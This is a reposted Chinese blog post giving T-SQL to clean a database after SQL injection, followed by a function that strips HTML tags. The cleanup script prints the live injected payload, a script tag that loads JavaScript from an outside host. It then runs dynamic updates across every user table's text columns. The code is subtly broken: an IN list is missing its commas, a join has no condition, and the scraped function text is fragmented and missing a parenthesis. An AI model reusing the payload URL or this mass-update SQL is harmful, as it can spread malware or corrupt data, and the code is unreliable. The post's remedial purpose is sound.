博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
解决并清除SQL被注入<script>恶意病毒代码的语句
阅读量:5891 次
发布时间:2019-06-19

本文共 1478 字,大约阅读时间需要 4 分钟。

declare @t varchar(255),@c varchar(255)  

declare table_cursor cursor for select a.name,b.name   
from sysobjects a,syscolumns b ,systypes c   
where a.id=b.id and a.xtype='u' and c.name   
in ('char''nchar''nvarchar''varchar','text','ntext')  
declare @str varchar(500),@str2 varchar(500)  
set @str='<script src=http://r01.3322.org/c.js></script>'/*要替换的内容*/  
set @str2=''   
open table_cursor   
fetch next from table_cursor   
into @t,@c while(@@fetch_status=0)   
begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')')  
fetch next from table_cursor  
into @t,@c end close table_cursor deallocate table_cursor; 

 

 

--
sql 去掉字段html代码 dbo.StripAllTags(ProductDetails)
CREATE 
FUNCTION 
[
dbo
].
[
StripAllTags
]
(
    
@input 
VARCHAR(
8000
--
  NVARCHAR(MAX)--2000内改为VARCHAR(8000)
)
RETURNS 
NVARCHAR(
MAX)
AS
BEGIN
    
declare 
    
@Result 
nvarchar(
MAX),
    
@start 
int,
    
@end 
int,
    
@len 
int
    
set 
@input 
= 
@input
+
'
<>
'
    
set 
@Result 
= 
''
    
set 
@len
=
len(
@input)
    
set 
@start 
= 
charindex(
'
<
',
@input,
1)
    
set 
@end 
= 
charindex(
'
>
',
@input,
@start)
    
while(
@start
<
@end)
        
begin        
            
if(
@start
<>
1
            
set 
@Result 
= 
@Result 
+ 
substring(
@input,
1,
@start
-
1)
            
set 
@len 
= 
@len 
- 
@end
            
set 
@input 
= 
substring(
@input,
@end
+
1,
@len)
            
set 
@start 
= 
charindex(
'
<
',
@input,
1)
            
set 
@end 
= 
charindex(
'
>
',
@input,
@start)
        
end
    
RETURN 
replace(
@Result,
'
&nbsp;
',
'')    

END  

 

    本文转自曾祥展博客园博客,原文链接:http://www.cnblogs.com/zengxiangzhan/archive/2010/02/08/1665660.html,如需转载请自行联系原作者

你可能感兴趣的文章
Windows 操作系统与 .NET Framework
查看>>
Box2dの自定义多边形
查看>>
HDU 1425 ( sort )
查看>>
Windows Phone 7 框架和页面
查看>>
Directx11教程(31) 纹理映射(1)
查看>>
Android——Button的颜色
查看>>
《星辰傀儡线》人物续:“灭世者”、“疯狂者”、“叛逆者”三兄妹
查看>>
安装系统字体
查看>>
Spring的ApplicationContext加载备忘
查看>>
GoogleMapAPIV3.8.6离线包下载
查看>>
SILK 的 Tilt的意思
查看>>
IPC通信:Posix共享内存2
查看>>
GB2312转成UTF-8
查看>>
C#打开chm定位到特定页面
查看>>
[CareerCup][Google Interview] 寻找动态的中位数
查看>>
javascript操作iframe的那些事
查看>>
servlet相关 jar包位置 BAE上部署web应用
查看>>
路徑 z
查看>>
cpu分析简介
查看>>
1.备忘录模式
查看>>